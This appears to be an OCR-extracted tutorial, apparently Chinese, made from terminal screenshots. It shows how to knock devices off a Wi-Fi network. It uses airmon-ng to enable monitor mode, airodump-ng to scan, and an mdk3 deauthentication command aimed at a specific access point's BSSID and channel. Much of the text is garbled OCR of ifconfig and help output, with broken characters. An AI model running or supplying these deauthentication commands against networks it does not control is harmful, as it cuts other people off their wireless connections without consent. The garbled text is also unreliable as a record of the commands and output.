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executing "airmon-ng -h"
[sudo] yun @86 .

usage: airmon-ng <start|stop|check> <interface= [channel or frequency]

@
#ifconfig
ethi: flags LBl ( LJMULTICAST= mtu 1500

: txqueuelen 1000 (Ethernet)
bytes 0 (0.0 B)
@ dropped @ overruns @ frame 0
ets 0 bytes 0 (0.0 B)
dropped @ overruns @ carrier @ collisions O

lo: flags=73<UP,LO0FBACK , RUNNIN mtu 65536
netmask 255.0.0.0
prefixlen 1 scopeid Ox1
ueuelen 1008 (Local Loop
ets 290 bytes 7 (69.0 KiB)
dropped © overruns O frame 0

( (69.0 KiB)

TX errors 0 dro rruns @ carrier @ collisions O

wlan@: flag CAS > mtu 1500
inet 58.124.19 : broadcast 192.
27 en 64 scopeid Ox2
len 1080 (Ethernet)
22 (36.2 MiB)
0 overruns @ frame @
ts 7360 bytes 995565 (972.2 KiB)
TX errors @ dropped O overruns @ carrier @ collisions 0
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airmon-ng start wlanO
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File Edit View B

TX packets 0
TX errors 0

UP, LOOPBACK , RUNNING=

inet 127.0.8.1 netma
ineté ::1 prefixlen
loop txqueuelen 1000
RX pack bytes 7
RX errors 0

1net 192.1
ineté f
Etth lc

( 0 dro pped 0
TX pack 7360
TX errors m

@
rmon-ng start wlan®
Found 2 proce
Kill them using irmon-ng
the card in monitor mode,

PID Hume

PHY Interface Driver

phy wlan0

itor mode vif er
0211 station mode vif dis

HI

ifconfig

|F|Fl|j 0}
bytes 707
drupped 0o

BROADCAST, FHHNIHG MULTICAST=

ifi

Help

bytes 0 (0.0 B)
dropped @ overruns @

carrier 0 collisions 0

mtu 65536
¢55 0.0.0
scopeid Ox1@<host:

frame 0

verruns @ cafrier B collisions
mtu 1500
broadcast 192.
prpf1:1pn 64 scopeld Ox2

[Ethernet)

168.124.255

overruns 0 fr

bytes 995565 (972.2
dropped @ overruns 0

ler @ collisions @

es that could cause trouble.

chec
they
and sometimes putting the inter

ill' before putting
11 interfere by changing channels
ce back in managed mode

Chipset
Intel Corporation Wireless 8265 / 8275 (rev 78}

bled for [phy@lwlan®
led for [phy@]v

on [phy@]wlanOmaon )
and)
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File Edit View

PID Name

PHY Interface Driver Chipset
phy@ wland iwlwifi Intel Corporation Wireless

88211 monitor mode vif e
11 station mode vif

#ifconfig
eth@: flag 163<1IP , BROADCAST , RUNNING, HULTILAST‘ mtu 15080

scopeid
{Ethernet)

rruns U frame 0
[289.4 KiB)
carrier @ collisions @

UP, LOOPBACK,, RUNNING> mtu 6
wnet 127.08.0. 1 netmask 255.0.0.
ineth :: en 128 scopeid @
loop t quauﬁlen 1008

ped @ overruns @ carrier 8 collisions @

'.1'].EIFIE'I'I'II'II'1' L ) ING F-‘lUL ICAST> mtu 1500
-00-00-00 txqueuelen 1800 (UNSPEC)
paLhel: y L
X errors @ drnpp ] 3 s @ frame 0
ackets & bytes @
X errors @ dropped ® overruns @ carrier @ collisions @

&b SGYLING

XIAFEA AT LB R Iwlan0E &2 pkwlan0mon XIRBEEAI ¥ T 7 MR EE 0T
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airodump-ng wlanOmon
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mdk3 wlanOmon d -c 1 --bssid BC:54:FC:E1:A7:C6
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File Edit View Bookma

IMPORTANT: It is your respo to make sure you have permission from the
network owner before running gainst it.

This code is licenced under the GPLv2

MDK USAGE:
mdk3 <interface> <test_mode> [test_options]

Try mdk3 —-fullhelp for all test options
Try me -help <test_mode> for info about one test only

TEST MODES:
on Flood Mode
con flnm&E to show f APs at clients.
crash network scanners and even drivers!
mode
Sends authentication frames to all APs found in range.
Too much clients freeze or reset some APs.
asic probing and EJ.ID Bruteforce mode
Probes AP and chec answer, ucefu1 for checking if SSID has
been LﬂrrELt1f dle aked L L - 8 tors sending range
th this test mode.
s -:t1r|r| Amok Mode
iy fullrld from AP
[TKIP)
ntinuously

1fusion
se Intrusion Detection and Prevention Systems
ruteforce mode
a list of known cli AC and tries to

authentica hem to the given AP while ami anging
its response timeout for best performance. It current] works only
on APs who deny an open authentication request properly
WPA Do
deauthenticate 'tut1nnc and APs sending WPA encry 5
With this test you can check if the admin will try celtl g hlc
network to WEP or disable encryption.

lan@mon d -c 1 --bssidd BC:54:FC:E1:A7:CH

& SGYLING

R — TR N EIX—T, BTN ERIRAMIE, FEHITIRNE, ST,
mdk3anSERGE

LEBHEwifiEEBARE

=1

mdk3 wlanOmon d -c 1

\HERWIfiTAERIES

.

mdk3 wlanOmon d -c 1 --bssid (WIFIFIZRERERY BSSID)
ABRNEBSIRAIEAYIE

=fE—a, KAM-RETEE
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arimon-ng stop wlanOmon

Book: : r Help

APs at clients.
rs and even drivers!

on frames to show fa
ometimes h network
tion DoS mode
Sends authentication frames to all APs found in range.
Too much clients freeze or reset some APs.
Basic prob ID Bruteforce mode
Probes AP anc r, useful for checking if S5ID has
been correct d or if AP is in your adaptors sending range
S5ID Bruteforcing h this test mode.
Deauthentication / Di
Ki 3 dy found from A
ion (TKIP)

MAC filter bruteforce mode
This test uses a list of known client MAC and tries to
te them to the given AP Lle amically changing
5 meout for best perform t ntly works only
an open authentication request properly
st
deauthenticates Stations and APs sending WPA encrypted packets.
With this test you can check if the sysadmin will try setting his
to WEP or disable encryption.

anmon d -c 1 --bssidd BC:54:FC:E1:A7:(6
#airmon-ng stop wlanOGmon

PHY Interface Driver Chipset

phy0 wlan@mon iw Intel Corporation Wireless
(mac80211 station mode vif enabled on [phy®]wland)

(mac80211 monitor mode vif disabled for [phy®]wlan®mon)

75 (rev 78}

R SGYLING
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#airmon-ng stop wlan@mon
PHY Interface Driver Chipset
phy® wlanBmon i Lfi Intel Corporation Wireless 5/ B275 (rev 78)
)211 station mode vif enabled on [phy@]wlan®)

211 monitor mode vif disabled for [phy@]wlan@mon)

eth®: fl UP, NG , MU CAST> mtu 1500

285
G@5:8 670 prefi 64 scopeid Ox@<global>
d3:85df prefixlen 64 scopeid O
txqueuelen 1008 (Ethernet)

5 5 (970.0 KiB)
dropped 97 overruns @ frame 0
36 bytes 2162204 (2.0 MiB)
TX errors © dropped @ overruns @ carrier 8@ collisions 0

lo: flags UP, LOOPBACK , RUNNING> mtu 65536
0.1 netm 255.0.0.0

inet6 prefixlen 1 scopeid @
loop txqueuelen 1000

s 951 bytes 211 (

5 0 dropped @ o g 0 frame 0

ckets 951 bytes 211877 (206.9 KiB)

TX errors @ dropped @ overruns @ carrier @ collisions 0

wland: flags=4163<UP,BROADCAST ,RUNNING ,MULTICAST> mtu 1500
inet 192.168.124.20 netmask 255.255.255.0 broadcast 192.168.124.255
inetd feBO::4 107 ] 6 prefixlen 64 scopeid Ox ink>
ether 1c 70:7 d queuelen 1008 (Ethernet)
RX packets 23 2 (2.2 KiB)
K drop O overruns 0 frame @
2 bytes 4403 (4.2 KiB)
TX 3 dropped @ overruns @ carrier @ collisions O

& SGYLING
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